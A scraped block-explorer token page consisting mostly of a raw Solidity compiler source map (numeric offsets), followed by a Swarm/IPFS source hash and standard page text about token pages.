:-1;;;;;3086:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3136:55;;-1:-1:-1;;;3136:55:0;;3178:4;3136:55;;;9924:34:1;-1:-1:-1;;;;;9994:15:1;;;9974:18;;;9967:43;3070:39:0;;-1:-1:-1;3120:13:0;;3136:33;;;;;9859:18:1;;3136:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3202:4;:12;;-1:-1:-1;;;;;;3225:18:0;-1:-1:-1;;;;;3202:12:0;;;3225:18;;;;-1:-1:-1;;;3225:18:0;;;-1:-1:-1;;;2876:375:0:o;4044:1426::-;4157:4;4174:16;4193:29;2842:9;:18;-1:-1:-1;;;;;2842:18:0;;2755:113;4193:29;4241:11;;4174:48;;-1:-1:-1;;;;4241:11:0;;;;;:31;;;4264:8;-1:-1:-1;;;;;4256:16:0;:4;-1:-1:-1;;;;;4256:16:0;;4241:31;:49;;;;4282:8;-1:-1:-1;;;;;4276:14:0;:2;-1:-1:-1;;;;;4276:14:0;;4241:49;4233:58;;;;;;-1:-1:-1;;;;;4304:15:0;;;;;;:9;:15;;;;;:25;;4323:6;;4304:15;:25;;4323:6;;4304:25;:::i;:::-;;;;-1:-1:-1;;4352:4:0;;-1:-1:-1;;;;;4346:10:0;;;4352:4;;4346:10;:23;;;;-1:-1:-1;4361:8:0;;-1:-1:-1;;;4361:8:0;;;;4360:9;4346:23;:65;;;;-1:-1:-1;1135:3:0;1037:12;977:2;1037;:12;:::i;:::-;1024:25;;:10;:25;:::i;:::-;1121:17;;;;:::i;:::-;4391:4;4373:24;;;;:9;:24;;;;;;:38;;4346:65;:85;;;;;4423:8;-1:-1:-1;;;;;4415:16:0;:4;-1:-1:-1;;;;;4415:16:0;;;4346:85;4342:649;;;4448:8;:15;;-1:-1:-1;;;;4448:15:0;-1:-1:-1;;;4448:15:0;;;4502:16;;;4516:1;4502:16;;;;;;;;-1:-1:-1;;4502:16:0;;;;;;;;;;-1:-1:-1;4502:16:0;4478:40;;4551:4;4533;4538:1;4533:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;4533:23:0;;;-1:-1:-1;;;;;4533:23:0;;;;;1600:42;-1:-1:-1;;;;;4581:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4571:4;4576:1;4571:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4571:33:0;;;:7;;;;;;;;;;;:33;1600:42;4619:88;1135:3;1037:12;977:2;1037;:12;:::i;:::-;1024:25;;:10;:25;:::i;:::-;1121:17;;;;:::i;:::-;4763:1;4787:4;4822;4850:15;4619:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;4899:49:0;;-1:-1:-1;;;;;4899:26:0;;;-1:-1:-1;4926:21:0;4899:49;;;;;-1:-1:-1;4926:21:0;4899:49;;;;4926:21;4899:26;:49;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;4963:8:0;:16;;-1:-1:-1;;;;4963:16:0;;;4342:649;5038:9;:16;;-1:-1:-1;;;5038:16:0;;;;;-1:-1:-1;;;5056:17:0;;;-1:-1:-1;;;;;5089:21:0;;5105:4;5089:21;;;;:44;;-1:-1:-1;5114:11:0;;-1:-1:-1;;;5114:11:0;;;;:19;;5129:4;5114:19;5089:44;5085:280;;;5214:4;;5150:27;;5244:3;;-1:-1:-1;;;;;5208:10:0;;;5214:4;;5208:10;:31;;5232:7;5208:31;;;5221:8;5208:31;5181:59;;;;:6;:59;:::i;:::-;5180:67;;;;:::i;:::-;5150:97;-1:-1:-1;5262:29:0;5150:97;5262:29;;:::i;:::-;5324:4;5306:24;;;;:9;:24;;;;;:47;;5262:29;;-1:-1:-1;5334:19:0;;5306:24;;;:47;;5334:19;;5306:47;:::i;:::-;;;;-1:-1:-1;;;5085:280:0;-1:-1:-1;;;;;5375:13:0;;;;;;:9;:13;;;;;:23;;5392:6;;5375:13;:23;;5392:6;;5375:23;:::i;:::-;;;;;;;;5429:2;-1:-1:-1;;;;;5414:26:0;5423:4;-1:-1:-1;;;;;5414:26:0;;5433:6;5414:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;5414:26:0;;;;;;;;-1:-1:-1;5458:4:0;;4044:1426;-1:-1:-1;;;;;;4044:1426:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:127::-;1458:10;1453:3;1449:20;1446:1;1439:31;1489:4;1486:1;1479:15;1513:4;1510:1;1503:15;1529:719;1572:5;1625:3;1618:4;1610:6;1606:17;1602:27;1592:55;;1643:1;1640;1633:12;1592:55;1679:6;1666:20;1705:18;1742:2;1738;1735:10;1732:36;;;1748:18;;:::i;:::-;1823:2;1817:9;1791:2;1877:13;;-1:-1:-1;;1873:22:1;;;1897:2;1869:31;1865:40;1853:53;;;1921:18;;;1941:22;;;1918:46;1915:72;;;1967:18;;:::i;:::-;2007:10;2003:2;1996:22;2042:2;2034:6;2027:18;2088:3;2081:4;2076:2;2068:6;2064:15;2060:26;2057:35;2054:55;;;2105:1;2102;2095:12;2054:55;2169:2;2162:4;2154:6;2150:17;2143:4;2135:6;2131:17;2118:54;2216:1;2209:4;2204:2;2196:6;2192:15;2188:26;2181:37;2236:6;2227:15;;;;;;1529:719;;;;:::o;2253:543::-;2341:6;2349;2402:2;2390:9;2381:7;2377:23;2373:32;2370:52;;;2418:1;2415;2408:12;2370:52;2458:9;2445:23;2487:18;2528:2;2520:6;2517:14;2514:34;;;2544:1;2541;2534:12;2514:34;2567:50;2609:7;2600:6;2589:9;2585:22;2567:50;:::i;:::-;2557:60;;2670:2;2659:9;2655:18;2642:32;2626:48;;2699:2;2689:8;2686:16;2683:36;;;2715:1;2712;2705:12;2683:36;;2738:52;2782:7;2771:8;2760:9;2756:24;2738:52;:::i;:::-;2728:62;;;2253:543;;;;;:::o;2801:456::-;2878:6;2886;2894;2947:2;2935:9;2926:7;2922:23;2918:32;2915:52;;;2963:1;2960;2953:12;2915:52;3002:9;2989:23;3021:31;3046:5;3021:31;:::i;:::-;3071:5;-1:-1:-1;3128:2:1;3113:18;;3100:32;3141:33;3100:32;3141:33;:::i;:::-;2801:456;;3193:7;;-1:-1:-1;;;3247:2:1;3232:18;;;;3219:32;;2801:456::o;3815:247::-;3874:6;3927:2;3915:9;3906:7;3902:23;3898:32;3895:52;;;3943:1;3940;3933:12;3895:52;3982:9;3969:23;4001:31;4026:5;4001:31;:::i;4067:156::-;4133:20;;4193:4;4182:16;;4172:27;;4162:55;;4213:1;4210;4203:12;4162:55;4067:156;;;:::o;4228:252::-;4292:6;4300;4353:2;4341:9;4332:7;4328:23;4324:32;4321:52;;;4369:1;4366;4359:12;4321:52;4392:27;4409:9;4392:27;:::i;:::-;4382:37;;4438:36;4470:2;4459:9;4455:18;4438:36;:::i;:::-;4428:46;;4228:252;;;;;:::o;4693:388::-;4761:6;4769;4822:2;4810:9;4801:7;4797:23;4793:32;4790:52;;;4838:1;4835;4828:12;4790:52;4877:9;4864:23;4896:31;4921:5;4896:31;:::i;:::-;4946:5;-1:-1:-1;5003:2:1;4988:18;;4975:32;5016:33;4975:32;5016:33;:::i;:::-;5068:7;5058:17;;;4693:388;;;;;:::o;5086:380::-;5165:1;5161:12;;;;5208;;;5229:61;;5283:4;5275:6;5271:17;5261:27;;5229:61;5336:2;5328:6;5325:14;5305:18;5302:38;5299:161;;5382:10;5377:3;5373:20;5370:1;5363:31;5417:4;5414:1;5407:15;5445:4;5442:1;5435:15;5299:161;;5086:380;;;:::o;5471:127::-;5532:10;5527:3;5523:20;5520:1;5513:31;5563:4;5560:1;5553:15;5587:4;5584:1;5577:15;5603:416;5692:1;5729:5;5692:1;5743:270;5764:7;5754:8;5751:21;5743:270;;;5823:4;5819:1;5815:6;5811:17;5805:4;5802:27;5799:53;;;5832:18;;:::i;:::-;5882:7;5872:8;5868:22;5865:55;;;5902:16;;;;5865:55;5981:22;;;;5941:15;;;;5743:270;;;5747:3;5603:416;;;;;:::o;6024:806::-;6073:5;6103:8;6093:80;;-1:-1:-1;6144:1:1;6158:5;;6093:80;6192:4;6182:76;;-1:-1:-1;6229:1:1;6243:5;;6182:76;6274:4;6292:1;6287:59;;;;6360:1;6355:130;;;;6267:218;;6287:59;6317:1;6308:10;;6331:5;;;6355:130;6392:3;6382:8;6379:17;6376:43;;;6399:18;;:::i;:::-;-1:-1:-1;;6455:1:1;6441:16;;6470:5;;6267:218;;6569:2;6559:8;6556:16;6550:3;6544:4;6541:13;6537:36;6531:2;6521:8;6518:16;6513:2;6507:4;6504:12;6500:35;6497:77;6494:159;;;-1:-1:-1;6606:19:1;;;6638:5;;6494:159;6685:34;6710:8;6704:4;6685:34;:::i;:::-;6755:6;6751:1;6747:6;6743:19;6734:7;6731:32;6728:58;;;6766:18;;:::i;:::-;6804:20;;6024:806;-1:-1:-1;;;6024:806:1:o;6835:140::-;6893:5;6922:47;6963:4;6953:8;6949:19;6943:4;6922:47;:::i;6980:168::-;7053:9;;;7084;;7101:15;;;7095:22;;7081:37;7071:71;;7122:18;;:::i;7279:518::-;7381:2;7376:3;7373:11;7370:421;;;7417:5;7414:1;7407:16;7461:4;7458:1;7448:18;7531:2;7519:10;7515:19;7512:1;7508:27;7502:4;7498:38;7567:4;7555:10;7552:20;7549:47;;;-1:-1:-1;7590:4:1;7549:47;7645:2;7640:3;7636:12;7633:1;7629:20;7623:4;7619:31;7609:41;;7700:81;7718:2;7711:5;7708:13;7700:81;;;7777:1;7763:16;;7744:1;7733:13;7700:81;;;7704:3;;7279:518;;;:::o;7973:1345::-;8099:3;8093:10;8126:18;8118:6;8115:30;8112:56;;;8148:18;;:::i;:::-;8177:97;8267:6;8227:38;8259:4;8253:11;8227:38;:::i;:::-;8221:4;8177:97;:::i;:::-;8329:4;;8386:2;8375:14;;8403:1;8398:663;;;;9105:1;9122:6;9119:89;;;-1:-1:-1;9174:19:1;;;9168:26;9119:89;-1:-1:-1;;7930:1:1;7926:11;;;7922:24;7918:29;7908:40;7954:1;7950:11;;;7905:57;9221:81;;8368:944;;8398:663;7226:1;7219:14;;;7263:4;7250:18;;-1:-1:-1;;8434:20:1;;;8552:236;8566:7;8563:1;8560:14;8552:236;;;8655:19;;;8649:26;8634:42;;8747:27;;;;8715:1;8703:14;;;;8582:19;;8552:236;;;8556:3;8816:6;8807:7;8804:19;8801:201;;;8877:19;;;8871:26;-1:-1:-1;;8960:1:1;8956:14;;;8972:3;8952:24;8948:37;8944:42;8929:58;8914:74;;8801:201;;;9048:1;9039:6;9036:1;9032:14;9028:22;9022:4;9015:36;8368:944;;;;;7973:1345;;:::o;9323:128::-;9390:9;;;9411:11;;;9408:37;;;9425:18;;:::i;9456:251::-;9526:6;9579:2;9567:9;9558:7;9554:23;9550:32;9547:52;;;9595:1;9592;9585:12;9547:52;9627:9;9621:16;9646:31;9671:5;9646:31;:::i;10021:217::-;10061:1;10087;10077:132;;10131:10;10126:3;10122:20;10119:1;10112:31;10166:4;10163:1;10156:15;10194:4;10191:1;10184:15;10077:132;-1:-1:-1;10223:9:1;;10021:217::o;10243:127::-;10304:10;10299:3;10295:20;10292:1;10285:31;10335:4;10332:1;10325:15;10359:4;10356:1;10349:15;10375:980;10637:4;10685:3;10674:9;10670:19;10716:6;10705:9;10698:25;10742:2;10780:6;10775:2;10764:9;10760:18;10753:34;10823:3;10818:2;10807:9;10803:18;10796:31;10847:6;10882;10876:13;10913:6;10905;10898:22;10951:3;10940:9;10936:19;10929:26;;10990:2;10982:6;10978:15;10964:29;;11011:1;11021:195;11035:6;11032:1;11029:13;11021:195;;;11100:13;;-1:-1:-1;;;;;11096:39:1;11084:52;;11191:15;;;;11156:12;;;;11132:1;11050:9;11021:195;;;-1:-1:-1;;;;;;;11272:32:1;;;;11267:2;11252:18;;11245:60;-1:-1:-1;;;11336:3:1;11321:19;11314:35;11233:3;10375:980;-1:-1:-1;;;10375:980:1:o;11360:125::-;11425:9;;;11446:10;;;11443:36;;;11459:18;;:::i
Swarm Source
ipfs://4298aa546e4661ffb7d9ac4d3698cd5f9cd94a2034e5d0e165ae0e109e492cb6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.